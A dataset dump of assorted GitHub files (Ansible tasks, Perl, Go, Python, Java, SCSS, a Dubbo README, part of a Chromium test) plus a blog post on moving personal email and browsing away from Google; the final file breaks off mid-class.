text
stringlengths 2
100k
| meta
dict |
---|---|
---
# Variable setup.
- name: Include OS-specific variables.
include_vars: "{{ ansible_os_family }}.yml"
- name: Define php_mysql_package.
set_fact:
php_mysql_package: "{{ __php_mysql_package }}"
when: php_mysql_package is not defined
# Installation.
- name: Install PHP MySQL dependencies (RedHat).
yum:
name: "{{ php_mysql_package }}"
state: present
enablerepo: "{{ php_enablerepo | default(omit, true) }}"
notify:
- restart webserver
- restart php-fpm
when: ansible_os_family == 'RedHat'
- name: Install PHP MySQL dependencies (Debian).
apt:
name: "{{ php_mysql_package }}"
state: present
notify:
- restart webserver
- restart php-fpm
when: ansible_os_family == 'Debian'
| {
"pile_set_name": "Github"
} |
#! /usr/bin/env perl
#
# stats-entropy.pl
#
# Display bin-count of entropy for sense assignments.
# The output of this script is just a multi-column, tab-separated
# table of numbers, suitable for graphing, e.g. with gnuplot.
#
# Copyright (C) 2009 Linas Vepstas <[email protected]>
#
#--------------------------------------------------------------------
# Need to specify the binmodes, in order for \w to match utf8 chars
use utf8;
binmode STDIN, ':encoding(UTF-8)';
binmode STDOUT, ':encoding(UTF-8)';
use DBI;
use strict;
use warnings;
my $dbh = DBI->connect('DBI:Pg:dbname=lexat', 'linas', 'asdf')
or die "Couldn't connect to database: " . DBI->errstr;
# Table on which to perform data analysis.
# my $dj_tablename = "Disjuncts";
my $dj_tablename = "NewDisjuncts";
#--------------------------------------------------------------------
sub show_ent
{
my $nbins = 300;
my $emax = 4.0;
my @bins = (0);
my $i=0;
for ($i=0; $i<$nbins; $i++) { $bins[$i] = 0; }
# We are going to reject any sense observations for which the
# count seemse to be too small. Basically, if there were N different
# senses that were observed with a word-disjunct pair, then we want
# to have seen at least 4*N observations. This discards a *huge*
# number of observations.
my $select = $dbh->prepare('SELECT entropy FROM ' . $dj_tablename .
' WHERE entropy >= 0.0 AND sense_obscnt > 4 * senses_observed;' )
or die "Couldn't prepare statement: " . $dbh->errstr;
$select->execute()
or die "Couldn't execute statement: " . $select->errstr;
my $nr = $select->rows;
print "#\n# bincount of entropy \n";
print "#\n# Will look at $nr rows in $dj_tablename\n";
print "#\n# bin into $nbins bins\n#\n";
for (my $j=0; $j<$select->rows; $j++)
{
my ($ent) = $select->fetchrow_array();
$i = $nbins * $ent / $emax;
if ($nbins <= $i) { $i = $nbins -1; }
$bins[$i] ++;
}
for ($i=0; $i<$nbins; $i++)
{
my $ent = $emax * $i / $nbins;
my $cnt = $bins[$i];
print "$i\t$ent\t$cnt\n";
}
}
show_ent();
| {
"pile_set_name": "Github"
} |
package telnet
import (
"github.com/reiver/go-oi"
"bufio"
"bytes"
"fmt"
"io"
"os"
"time"
)
// StandardCaller is a simple TELNET client which sends to the server any data it gets from os.Stdin
// as TELNET (and TELNETS) data, and writes any TELNET (or TELNETS) data it receives from
// the server to os.Stdout, and writes any error it has to os.Stderr.
var StandardCaller Caller = internalStandardCaller{}
type internalStandardCaller struct{}
func (caller internalStandardCaller) CallTELNET(ctx Context, w Writer, r Reader) {
standardCallerCallTELNET(os.Stdin, os.Stdout, os.Stderr, ctx, w, r)
}
func standardCallerCallTELNET(stdin io.ReadCloser, stdout io.WriteCloser, stderr io.WriteCloser, ctx Context, w Writer, r Reader) {
go func(writer io.Writer, reader io.Reader) {
var buffer [1]byte // Seems like the length of the buffer needs to be small, otherwise will have to wait for buffer to fill up.
p := buffer[:]
for {
// Read 1 byte.
n, err := reader.Read(p)
if n <= 0 && nil == err {
continue
} else if n <= 0 && nil != err {
break
}
oi.LongWrite(writer, p)
}
}(stdout, r)
var buffer bytes.Buffer
var p []byte
var crlfBuffer [2]byte = [2]byte{'\r','\n'}
crlf := crlfBuffer[:]
scanner := bufio.NewScanner(stdin)
scanner.Split(scannerSplitFunc)
for scanner.Scan() {
buffer.Write(scanner.Bytes())
buffer.Write(crlf)
p = buffer.Bytes()
n, err := oi.LongWrite(w, p)
if nil != err {
break
}
if expected, actual := int64(len(p)), n; expected != actual {
err := fmt.Errorf("Transmission problem: tried sending %d bytes, but actually only sent %d bytes.", expected, actual)
fmt.Fprint(stderr, err.Error())
return
}
buffer.Reset()
}
// Wait a bit to receive data from the server (that we would send to io.Stdout).
time.Sleep(3 * time.Millisecond)
}
func scannerSplitFunc(data []byte, atEOF bool) (advance int, token []byte, err error) {
if atEOF {
return 0, nil, nil
}
return bufio.ScanLines(data, atEOF)
}
| {
"pile_set_name": "Github"
} |
"""Auxiliary classes for the default graph drawer in igraph.
This module contains heavy metaclass magic. If you don't understand
the logic behind these classes, probably you don't need them either.
igraph's default graph drawer uses various data sources to determine
the visual appearance of vertices and edges. These data sources
are the following (in order of precedence):
- The keyword arguments passed to the L{igraph.plot()} function
(or to L{igraph.Graph.__plot__()} as a matter of fact, since
L{igraph.plot()} just passes these attributes on). For instance,
a keyword argument named C{vertex_label} can be used to set
the labels of vertices.
- The attributes of the vertices/edges being drawn. For instance,
a vertex that has a C{label} attribute will use that label when
drawn by the default graph drawer.
- The global configuration of igraph. For instance, if the global
L{igraph.config.Configuration} instance has a key called
C{plotting.vertex_color}, that will be used as a default color
for the vertices.
- If all else fails, there is a built-in default; for instance,
the default vertex color is C{"red"}. This is hard-wired in the
source code.
The logic above can be useful in other graph drawers as well, not
only in the default one, therefore it is refactored into the classes
found in this module. Different graph drawers may inspect different
vertex or edge attributes, hence the classes that collect the attributes
from the various data sources are generated in run-time using a
metaclass called L{AttributeCollectorMeta}. You don't have to use
L{AttributeCollectorMeta} directly, just implement a subclass of
L{AttributeCollectorBase} and it will ensure that the appropriate
metaclass is used. With L{AttributeCollectorBase}, you can use a
simple declarative syntax to specify which attributes you are
interested in. For example::
class VisualEdgeBuilder(AttributeCollectorBase):
arrow_size = 1.0
arrow_width = 1.0
color = ("black", palette.get)
width = 1.0
for edge in VisualEdgeBuilder(graph.es):
print edge.color
The above class is a visual edge builder -- a class that gives the
visual attributes of the edges of a graph that is specified at
construction time. It specifies that the attributes we are interested
in are C{arrow_size}, C{arrow_width}, C{color} and C{width}; the
default values are also given. For C{color}, we also specify that
a method called {palette.get} should be called on every attribute
value to translate color names to RGB values. For the other three
attributes, C{float} will implicitly be called on all attribute values,
this is inferred from the type of the default value itself.
@see: AttributeCollectorMeta, AttributeCollectorBase
"""
from ConfigParser import NoOptionError
from itertools import izip
from igraph.configuration import Configuration
__all__ = ["AttributeSpecification", "AttributeCollectorBase"]
# pylint: disable-msg=R0903
# R0903: too few public methods
class AttributeSpecification(object):
"""Class that describes how the value of a given attribute should be
retrieved.
The class contains the following members:
- C{name}: the name of the attribute. This is also used when we
are trying to get its value from a vertex/edge attribute of a
graph.
- C{alt_name}: alternative name of the attribute. This is used
when we are trying to get its value from a Python dict or an
L{igraph.Configuration} object. If omitted at construction time,
it will be equal to C{name}.
- C{default}: the default value of the attribute when none of
the sources we try can provide a meaningful value.
- C{transform}: optional transformation to be performed on the
attribute value. If C{None} or omitted, it defaults to the
type of the default value.
- C{func}: when given, this function will be called with an
index in order to derive the value of the attribute.
"""
__slots__ = ("name", "alt_name", "default", "transform", "accessor",
"func")
def __init__(self, name, default=None, alt_name=None, transform=None,
func=None):
if isinstance(default, tuple):
default, transform = default
self.name = name
self.default = default
self.alt_name = alt_name or name
self.transform = transform or None
self.func = func
self.accessor = None
if self.transform and not hasattr(self.transform, "__call__"):
raise TypeError, "transform must be callable"
if self.transform is None and self.default is not None:
self.transform = type(self.default)
class AttributeCollectorMeta(type):
"""Metaclass for attribute collector classes
Classes that use this metaclass are intended to collect vertex/edge
attributes from various sources (a Python dict, a vertex/edge sequence,
default values from the igraph configuration and such) in a given
order of precedence. See the module documentation for more details.
This metaclass enables the user to use a simple declarative syntax
to specify which attributes he is interested in. For each vertex/edge
attribute, a corresponding class attribute must be defined with a
value that describes the default value of that attribute if no other
data source provides us with any suitable value. The default value
can also be a tuple; in that case, the first element of the tuple
is the actual default value, the second element is a converter
function that will convert the attribute values to a format expected
by the caller who uses the class being defined.
There is a special class attribute called C{_kwds_prefix}; this is
not used as an attribute declaration. It can contain a string which
will be used to derive alternative names for the attributes when
the attribute is accessed in a Python dict. This is useful in many
situations; for instance, the default graph drawer would want to access
the vertex colors using the C{color} vertex attribute, but when
it looks at the keyword arguments passed to the original call of
L{igraph.Graph.__plot__}, the C{vertex_color} keyword argument should
be looked up because we also have colors for the edges. C{_kwds_prefix}
will be prepended to the attribute names when they are looked up in
a dict of keyword arguments.
If you require a more fine-tuned behaviour, you can assign an
L{AttributeSpecification} instance to a class attribute directly.
@see: AttributeCollectorBase
"""
def __new__(mcs, name, bases, attrs):
attr_specs = []
for attr, value in attrs.iteritems():
if attr.startswith("_") or hasattr(value, "__call__"):
continue
if isinstance(value, AttributeSpecification):
attr_spec = value
elif isinstance(value, dict):
attr_spec = AttributeSpecification(attr, **value)
else:
attr_spec = AttributeSpecification(attr, value)
attr_specs.append(attr_spec)
prefix = attrs.get("_kwds_prefix", None)
if prefix:
for attr_spec in attr_specs:
if attr_spec.name == attr_spec.alt_name:
attr_spec.alt_name = "%s%s" % (prefix, attr_spec.name)
attrs["_attributes"] = attr_specs
attrs["Element"] = mcs.record_generator(
"%s.Element" % name,
(attr_spec.name for attr_spec in attr_specs)
)
return super(AttributeCollectorMeta, mcs).__new__(mcs, \
name, bases, attrs)
@classmethod
def record_generator(mcs, name, slots):
"""Generates a simple class that has the given slots and nothing else"""
class Element(object):
"""A simple class that holds the attributes collected by the
attribute collector"""
__slots__ = tuple(slots)
def __init__(self, attrs=()):
for attr, value in attrs:
setattr(self, attr, value)
Element.__name__ = name
return Element
class AttributeCollectorBase(object):
"""Base class for attribute collector subclasses. Classes that inherit
this class may use a declarative syntax to specify which vertex or edge
attributes they intend to collect. See L{AttributeCollectorMeta} for
the details.
"""
__metaclass__ = AttributeCollectorMeta
def __init__(self, seq, kwds = None):
"""Constructs a new attribute collector that uses the given
vertex/edge sequence and the given dict as data sources.
@param seq: an L{igraph.VertexSeq} or L{igraph.EdgeSeq} class
that will be used as a data source for attributes.
@param kwds: a Python dict that will be used to override the
attributes collected from I{seq} if necessary.
"""
elt = self.__class__.Element
self._cache = [elt() for _ in xrange(len(seq))]
self.seq = seq
self.kwds = kwds or {}
for attr_spec in self._attributes:
values = self._collect_attributes(attr_spec)
attr_name = attr_spec.name
for cache_elt, val in izip(self._cache, values):
setattr(cache_elt, attr_name, val)
def _collect_attributes(self, attr_spec, config=None):
"""Collects graph visualization attributes from various sources.
This method can be used to collect the attributes required for graph
visualization from various sources. Attribute value sources are:
- A specific value of a Python dict belonging to a given key. This dict
is given by the argument M{self.kwds} at construction time, and
the name of the key is determined by the argument specification
given in M{attr_spec}.
- A vertex or edge sequence of a graph, given in M{self.seq}
- The global configuration, given in M{config}
- A default value when all other sources fail to provide the value.
This is also given in M{attr_spec}.
@param attr_spec: an L{AttributeSpecification} object which contains
the name of the attribute when it is coming from a
list of Python keyword arguments, the name of the
attribute when it is coming from the graph attributes
directly, the default value of the attribute and an
optional callable transformation to call on the values.
This can be used to ensure that the attributes are of
a given type.
@param config: a L{Configuration} object to be used for determining the
defaults if all else fails. If C{None}, the global
igraph configuration will be used
@return: the collected attributes
"""
kwds = self.kwds
seq = self.seq
n = len(seq)
# Special case if the attribute name is "label"
if attr_spec.name == "label":
if attr_spec.alt_name in kwds and kwds[attr_spec.alt_name] is None:
return [None] * n
# If the attribute uses an external callable to derive the attribute
# values, call it and store the results
if attr_spec.func is not None:
func = attr_spec.func
result = [func(i) for i in xrange(n)]
return result
# Get the configuration object
if config is None:
config = Configuration.instance()
# Fetch the defaults from the vertex/edge sequence
try:
attrs = seq[attr_spec.name]
except KeyError:
attrs = None
# Override them from the keyword arguments (if any)
result = kwds.get(attr_spec.alt_name, None)
if attrs:
if not result:
result = attrs
else:
if isinstance(result, str):
result = [result] * n
try:
len(result)
except TypeError:
result = [result] * n
result = [result[idx] or attrs[idx] \
for idx in xrange(len(result))]
# Special case for string overrides, strings are not treated
# as sequences here
if isinstance(result, str):
result = [result] * n
# If the result is still not a sequence, make it one
try:
len(result)
except TypeError:
result = [result] * n
# If it is not a list, ensure that it is a list
if not hasattr(result, "extend"):
result = list(result)
# Ensure that the length is n
while len(result) < n:
if len(result) <= n/2:
result.extend(result)
else:
result.extend(result[0:(n-len(result))])
# By now, the length of the result vector should be n as requested
# Get the configuration defaults
try:
default = config["plotting.%s" % attr_spec.alt_name]
except NoOptionError:
default = None
if default is None:
default = attr_spec.default
# Fill the None values with the default values
for idx in xrange(len(result)):
if result[idx] is None:
result[idx] = default
# Finally, do the transformation
if attr_spec.transform is not None:
transform = attr_spec.transform
result = [transform(x) for x in result]
return result
def __getitem__(self, index):
"""Returns the collected attributes of the vertex/edge with the
given index."""
# pylint: disable-msg=E1101
# E1101: instance has no '_attributes' member
return self._cache[index]
def __len__(self):
return len(self.seq)
| {
"pile_set_name": "Github"
} |
---
layout: post
location: Clermont-Fd Area, France
tldr: false
audio: false
title: "Rethinking My Life (On The Internets)"
updates:
- date: 2015-01-30
content: >-
recommend [Privacy Badger](https://www.eff.org/privacybadger) rather than
[Ghostery which uses the data it collects from its users to help
advertisers](http://www.businessinsider.com/evidon-sells-ghostery-data-to-advertisers-2013-6).
- date: 2019-12-19
content: >-
I finally removed Disqus from the blog. Comments have been deleted but
it is better like this. You can now send me an email or reply to the
Twitter thread related to the article.
---
> _The Internets._ This wonderful land where everything is **free**, **public**,
> and... **persistent**. LOL
I often **carefully** chose what I put online: comments, documents, pictures,
etc. I wrote _often_ here because it took me a while to **educate myself**, to
**learn and understand** the implications of my behavior on Internet. I started
using Internet when I was 18*-ish*, because of my studies to be honest, since I
was not much interested in anything over IP at that time.
## Fighting Technology Enslavement
By the end of 2013, I **unsubscribed** myself from most of the mailing-lists I
had subscribed to in the past, and basically [turned off all
notifications](https://twitter.com/beberlei/status/411839552731361280),
including phone notifications (Twitter, Facebook, Emails, etc.). I moved from a
push approach to a **pull** approach: **I decide** when I want to consume
information, not the other way around, so that I can keep focused on what I am
doing. I don't need to be notified in real time. I don't want to. When we
analyze such a situation, one reads his Twitter notifications because his own
smartphone told him to do so. What a weird feeling isn't it? This is exactly
what **technology enslavement** is. I am part of this generation of (young)
people who can hang out in a pub, all focused on their smartphone for whatever
(bad) reason (most of the time, _Candy Crush..._), no one talking to each other,
not verbally I mean. I educated myself to avoid this, to **live without
smartphone** or laptop, and to truly start to **live life to the full**. Call me
nerd or whatever you want, I know too many muggles (read non-[IT|nerd|geek|tech]
people) who do that...
Things went really well! I became more efficient, I get things done, and I did
not miss any important event. What was the difference then? **Less stress**,
**more time** to dedicate to things that matter such as family, friends and
hobbies.
## Just. Delete. Me.
Last year, I started to reduce the amount of web services I was using or rather,
I thought I would use. [Justdelete.me](http://justdelete.me/) was great help! I
listed all services I was still using, and I deleted or disabled the other ones.
Now we are in 2015 and I began to accomplish something I wanted to do for a
while now: taking care of my personal data, for real. Too late? No, it is
**better late than never**.
## Taking Control of My Personal Data
First, I want to **control which companies can access my personal data**,
meaning I agree with their _terms and conditions_ (so things must be crystal
clear, which is not often the case). Second, I **don't want to be a product**
anymore. Third, I want to be **more respectful with people connected to me**, by
not giving their personal information to companies without asking them. Of
course they probably do that with my information already, but I am aware of this
and I can live with it.
As I don't use a lot of applications, switching to better services in term of
**reliability** and **privacy** implies three major pieces: emails, agendas and
contacts. All hosted on this good old friend: **Google**. I tried to move away
from Google, I swear it! Several times. But this month, I decided to take a new
year resolution to avoid giving up again.
### Emails, Contacts, Agendas
I started by buying my **own domain name for my emails**: **drnd.me**. It is
both short and quite easy to remember. Also, take my name, remove vowels,
concatenate `.me` and you are done! See the use of a domain name you control as
an abstraction layer, you can put any email hosting service behind it, your
contacts will still be able to reach you. I don't know why I did not do that
earlier actually... Then, I created new aliases and changed my email everywhere.
I reconfigured Gmail to send my new personal email as _Reply-To_ email's header,
so that it is being spread slowly but surely.
Then, [based on
recommandations](https://twitter.com/couac/status/554218360050049024), I chose
**[Fastmail](http://www.fastmail.com/?STKI=13808765)** (affiliate link) to take
care of my emails, and I am **happy to pay** for it! It is **blazing fast**, it
works and it perfectly fits my needs. Importing all my emails from Gmail took
half a day. At the time of writing this article, Gmail forwards all emails to
Fastmail, and I now exclusively use it. Fastmail [takes the privacy of their
users very seriously](https://www.fastmail.com/about/privacy.html), no data
mining, a clear privacy policy and it is an Australian company subject to
Australian law ([even if their servers are in the
US](http://blog.fastmail.com/2013/10/07/fastmails-servers-are-in-the-us-what-this-means-for-you/)).
Fastmail also provides an **Address Book** feature in _beta_. It works pretty
well so I moved all my contacts from Gmail to Fastmail. I also switched from
Google Calendar to Fastmail **Calendar**. Oh and they also provide a secure
platform for file sharing through WebDAV. _Tip top!_
### Instant Messaging
I often use GTalk, replacing it is not easy because of my contacts, but also
because most of the existing IM solutions are tied to corporations (Facebook,
Google, etc.). The main issue is that GTalk conversations are indexed by Google
in Gmail, meaning these conversations are not really private.
As suggested by [Josh](https://twitter.com/codeguy), [using Adium and firing up
OTR-encryption](https://joshlockhart.com/archive/goodbye-google) is a wise
solution. Because I can't force my friends to use a secure communication
channel, I am forced to consider IM conversations in the public domain. If one
of my contacts uses a client supporting
[OTR](https://en.wikipedia.org/wiki/Off-the-Record_Messaging), we will have
private conversations though.
### Web Browsing
My main web browser is Chrome, and I am not going to change it. What I did
however has been to completely **remove any link to my Google account**. I lost
all my bookmarks in the fight, and I realized that this was not a problem. Who
uses bookmarks nowadays anyway? ;-) I also **disabled** all _speed improvement
features_ that use Google web services.
I configured Chrome to use [DuckDuckGo](https://duckduckgo.com/), rather than
Google. It is going well so far, but I am not going to definitely avoid Google.
That is why I installed [Privacy Badger](https://www.eff.org/privacybadger), a
free **privacy-related browser extension**, enabling its users to easily detect
and control web bugs. As suggested by Josh again, I also installed [HTTPS
Everywhere](https://www.eff.org/https-everywhere) to ensure that my web browser
establishes **a secure connection** to websites that support it. This is more or
less the _client version_ of
[HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security).
For fun, I also gave the [Tor
Browser](https://www.torproject.org/projects/torbrowser.html.en) a try, a bit
too slow but still quite good. I don't plan to use yet, but it may be useful if
things turn worse than expected here in France...
## What Else?
For years, I helped Google track you by using Google Analytics. I do
**apologize** for that. I switched to [Piwik](http://piwik.org/) last month
thanks to [Geoffrey](https://twitter.com/ubermuda), and I now recommend it over
Google Analytics.
I am now looking for alternatives to [Disqus](https://disqus.com/) for the same
reasons, but it is a bit complicated since this blog is basically static HTML,
hosted on [GitHub](https://github.com/willdurand/willdurand.github.com). If
you have suggestions, comments (on Disqus, haha!) are open :)
Last but not least, I did not talk about
[PGP](https://en.wikipedia.org/wiki/Pretty_Good_Privacy). I don't really use it
yet ([my public
key](https://pgp.mit.edu/pks/lookup?op=get&search=0xA509BCF1C1274F3B)), mainly
because I don't really know who really uses it: my parents don't, my friends
don't. That is why projects such as [Caliopen](https://www.caliopen.org/) are
more than interesting!
Since I own a PGP key, I use OSX's Mail.app mail client +
[GPGTools](https://gpgtools.org/) and [iPGMail](https://ipgmail.com/) on iPhone.
Talking about security, that is not what I targeted in the first place. I am
still growing up (we are all growing up when it is related to security in my
opinion), so things are going to change over time. It is probably far from
perfect, but it is better than doing nothing.
| {
"pile_set_name": "Github"
} |
package org.tests.model.basic;
import io.ebean.annotation.Encrypted;
import javax.persistence.Entity;
import javax.persistence.EnumType;
import javax.persistence.Enumerated;
import javax.persistence.Id;
import javax.persistence.Table;
import javax.persistence.Version;
import java.time.LocalDate;
@Entity
@Table(name = "e_basicenc_client")
public class EBasicEncryptClient {
public enum Status {
ONE,
TWO
}
@Id
long id;
String name;
@Encrypted(dbLength = 80, dbEncryption = false)
String description;
@Encrypted(dbLength = 20, dbEncryption = false)
LocalDate dob;
@Enumerated(EnumType.ORDINAL)
@Encrypted(dbLength = 20, dbEncryption = false)
Status status;
@Version
long version;
public long getId() {
return id;
}
public void setId(long id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public LocalDate getDob() {
return dob;
}
public void setDob(LocalDate dob) {
this.dob = dob;
}
public Status getStatus() {
return status;
}
public void setStatus(Status status) {
this.status = status;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public long getVersion() {
return version;
}
public void setVersion(long version) {
this.version = version;
}
}
| {
"pile_set_name": "Github"
} |
/**
Copyright 2013 Intel Corporation, All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package com.intel.cosbench.log;
/**
* A Factory class to create different LogManager based on log name, by default
* log4j LogManager will use.
*
* @author ywang19, qzheng7
*
*/
public class LogFactory {
public static final String DEFAULT_LOGMGR = "com.intel.cosbench.log.log4j.Log4jLogManager";
private static final LogManager SYS_MGR = new com.intel.cosbench.log.log4j.Log4jLogManager();
public static LogManager createLogManager() {
return createLogManager(DEFAULT_LOGMGR);
}
/**
* The method creates one LogManager instance by provided class name.
*
* @param logmgr
* the class name for log manager
* @return one new LogManager instance created by logmgr name, if any
* exceptions, will return default log4j LogManager.
*/
public static LogManager createLogManager(String logmgr) {
try {
return (LogManager) Class.forName(logmgr).newInstance();
} catch (Exception e) {
System.out
.println("Can't initiaze specified LogManager, use default log4j instead.");
e.printStackTrace();
}
return SYS_MGR;
}
public static Logger getSystemLogger() {
return SYS_MGR.getLogger();
}
public static LogManager getSystemLogManager() {
return SYS_MGR;
}
}
| {
"pile_set_name": "Github"
} |
#spring-boot-start-dubbo
## 如何使用
### 1. clone 代码
```
git clone [email protected]:teaey/spring-boot-starter-dubbo.git
```
### 2. 编译安装
```
cd spring-boot-starter-dubbo
mvn clean install
```
### 3. 修改maven配置文件(可以参考样例[spring-boot-starter-dubbo-sample](https://github.com/teaey/spring-boot-starter-dubbo-sample))
* 在Spring Boot项目的pom.xml增加parent:
```
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.3.6.RELEASE</version>
</parent>
```
* 在Spring Boot项目的pom.xml中添加以下依赖:
```
<dependency>
<groupId>io.dubbo.springboot</groupId>
<artifactId>spring-boot-starter-dubbo</artifactId>
<version>1.0.0-SNAPSHOT</version>
</dependency>
```
* maven插件用于打包成可执行的uber-jar文件,添加以下插件(这里一定要加载需要打包成jar的mudule的pom中)
```
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>1.3.6.RELEASE</version>
</plugin>
```
### 4. 发布服务
服务接口:
```
package cn.teaey.sprintboot.test;
public interface EchoService {
String echo(String str);
}
```
在application.properties添加Dubbo的版本信息和客户端超时信息,如下:
```
spring.dubbo.application.name=provider
spring.dubbo.registry.address=zookeeper://192.168.99.100:32770
spring.dubbo.protocol.name=dubbo
spring.dubbo.protocol.port=20880
spring.dubbo.scan=cn.teaey.sprintboot.test
```
在Spring Application的application.properties中添加spring.dubbo.scan即可支持Dubbo服务发布,其中scan表示要扫描的package目录
* spring boot启动
```
package cn.teaey.sprintboot.test;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class Server {
public static void main(String[] args) {
SpringApplication.run(Server.class, args);
}
}
```
* 编写你的Dubbo服务,只需要添加要发布的服务实现上添加 @Service ,如下
```
package cn.teaey.sprintboot.test;
import com.alibaba.dubbo.config.annotation.Service;
@Service(version = "1.0.0")
public class EchoServerImpl implements EchoService {
public String echo(String str) {
System.out.println(str);
return str;
}
}
```
### 5. 消费Dubbo服务
* 在application.properties添加Dubbo的版本信息和客户端超时信息,如下:
```
spring.dubbo.application.name=consumer
spring.dubbo.registry.address=zookeeper://192.168.99.100:32770
spring.dubbo.scan=cn.teaey.sprintboot.test
```
在Spring Application的application.properties中添加spring.dubbo.scan即可支持Dubbo服务发布,其中scan表示要扫描的package目录
* spring boot启动
```
package cn.teaey.sprintboot.test;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ConfigurableApplicationContext;
@SpringBootApplication
public class Client {
public static void main(String[] args) {
ConfigurableApplicationContext run = SpringApplication.run(Client.class, args);
AbcService bean = run.getBean(AbcService.class);
System.out.println(bean.echoService.echo("abccc"));
}
}
```
* 引用Dubbo服务,只需要添加要发布的服务实现上添加 @Reference ,如下:
```
package cn.teaey.sprintboot.test;
import com.alibaba.dubbo.config.annotation.Reference;
import org.springframework.stereotype.Component;
@Component
public class AbcService {
@Reference(version = "1.0.0")
public EchoService echoService;
}
```
### 6. 打包
> 可以直接执行Server或者Client启动
> 可以通过mvn clean package 打包成可执行的uber-jar文件
| {
"pile_set_name": "Github"
} |
.upper_left_overlay {
position:absolute;
left:0px;
top:0px;
}
ul#interesting_items-list {
text-align: left;
padding-left: 0px;
margin-left:0px;
li {
padding: 12px 12px 12px 0px;
display:inline-block;
height:100%;
.interesting_items-details {
text-align: center;
font-family: Economica, san-serif;
}
.interesting_items-image {
position: relative;
text-align:center;
&:hover {
.hover-details {
display: block;
}
}
.no-hover-show {
background: rgba(47, 47, 47, 0.02);
position: absolute;
top: 0px;
left: 0px;
width: 100%;
height: 100%;
}
.hover-details {
color:#FFF;
display: none;
position: absolute;
top: 0px;
left: 0px;
width: 100%;
height: 100%;
.bottom-hover-details {
font-family: Economica, san-serif;
font-weight: bolder;
font-size:15px;
height:3em;
width:100%;
padding:10px;
position: absolute;
background: rgba(47, 47, 47, 0.4);
bottom: 0;
margin-bottom: 0px;
}
}
}
}
}
div {
color: #3F3D42;
#featured_description {
font-family: Economica, san-serif;
line-height: 1.3;
font-size: 22px;
color: #5F5D62;
}
}
#featured_image {
padding-bottom:7px;
} | {
"pile_set_name": "Github"
} |
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "ui/base/ime/input_method_base.h"
#include "base/gtest_prod_util.h"
#include "base/memory/scoped_ptr.h"
#include "base/message_loop/message_loop.h"
#include "base/run_loop.h"
#include "base/scoped_observer.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "ui/base/ime/dummy_text_input_client.h"
#include "ui/base/ime/input_method_observer.h"
#include "ui/events/event.h"
namespace ui {
namespace {
class ClientChangeVerifier {
public:
ClientChangeVerifier()
: previous_client_(NULL),
next_client_(NULL),
call_expected_(false),
on_will_change_focused_client_called_(false),
on_did_change_focused_client_called_(false),
on_text_input_state_changed_(false) {
}
// Expects that focused text input client will not be changed.
void ExpectClientDoesNotChange() {
previous_client_ = NULL;
next_client_ = NULL;
call_expected_ = false;
on_will_change_focused_client_called_ = false;
on_did_change_focused_client_called_ = false;
on_text_input_state_changed_ = false;
}
// Expects that focused text input client will be changed from
// |previous_client| to |next_client|.
void ExpectClientChange(TextInputClient* previous_client,
TextInputClient* next_client) {
previous_client_ = previous_client;
next_client_ = next_client;
call_expected_ = true;
on_will_change_focused_client_called_ = false;
on_did_change_focused_client_called_ = false;
on_text_input_state_changed_ = false;
}
// Verifies the result satisfies the expectation or not.
void Verify() {
EXPECT_EQ(call_expected_, on_will_change_focused_client_called_);
EXPECT_EQ(call_expected_, on_did_change_focused_client_called_);
EXPECT_EQ(call_expected_, on_text_input_state_changed_);
}
void OnWillChangeFocusedClient(TextInputClient* focused_before,
TextInputClient* focused) {
EXPECT_TRUE(call_expected_);
// Check arguments
EXPECT_EQ(previous_client_, focused_before);
EXPECT_EQ(next_client_, focused);
// Check call order
EXPECT_FALSE(on_will_change_focused_client_called_);
EXPECT_FALSE(on_did_change_focused_client_called_);
EXPECT_FALSE(on_text_input_state_changed_);
on_will_change_focused_client_called_ = true;
}
void OnDidChangeFocusedClient(TextInputClient* focused_before,
TextInputClient* focused) {
EXPECT_TRUE(call_expected_);
// Check arguments
EXPECT_EQ(previous_client_, focused_before);
EXPECT_EQ(next_client_, focused);
// Check call order
EXPECT_TRUE(on_will_change_focused_client_called_);
EXPECT_FALSE(on_did_change_focused_client_called_);
EXPECT_FALSE(on_text_input_state_changed_);
on_did_change_focused_client_called_ = true;
}
void OnTextInputStateChanged(const TextInputClient* client) {
EXPECT_TRUE(call_expected_);
// Check arguments
EXPECT_EQ(next_client_, client);
// Check call order
EXPECT_TRUE(on_will_change_focused_client_called_);
EXPECT_TRUE(on_did_change_focused_client_called_);
EXPECT_FALSE(on_text_input_state_changed_);
on_text_input_state_changed_ = true;
}
private:
TextInputClient* previous_client_;
TextInputClient* next_client_;
bool call_expected_;
bool on_will_change_focused_client_called_;
bool on_did_change_focused_client_called_;
bool on_text_input_state_changed_;
DISALLOW_COPY_AND_ASSIGN(ClientChangeVerifier);
};
class InputMethodBaseTest : public testing::Test {
protected:
InputMethodBaseTest() {
}
virtual ~InputMethodBaseTest() {
}
virtual void SetUp() {
message_loop_.reset(new base::MessageLoopForUI);
}
virtual void TearDown() {
message_loop_.reset();
}
private:
scoped_ptr<base::MessageLoop> message_loop_;
DISALLOW_COPY_AND_ASSIGN(InputMethodBaseTest);
};
class MockInputMethodBase : public InputMethodBase {
public:
// Note: this class does not take the ownership of |verifier|.
MockInputMethodBase(ClientChangeVerifier* verifier) : verifier_(verifier) {
}
virtual ~MockInputMethodBase() {
}
private:
// Overriden from InputMethod.
virtual bool OnUntranslatedIMEMessage(
const base::NativeEvent& event,
InputMethod::NativeEventResult* result) OVERRIDE {
return false;
}
virtual bool DispatchKeyEvent(const ui::KeyEvent&) OVERRIDE {
return false;
}
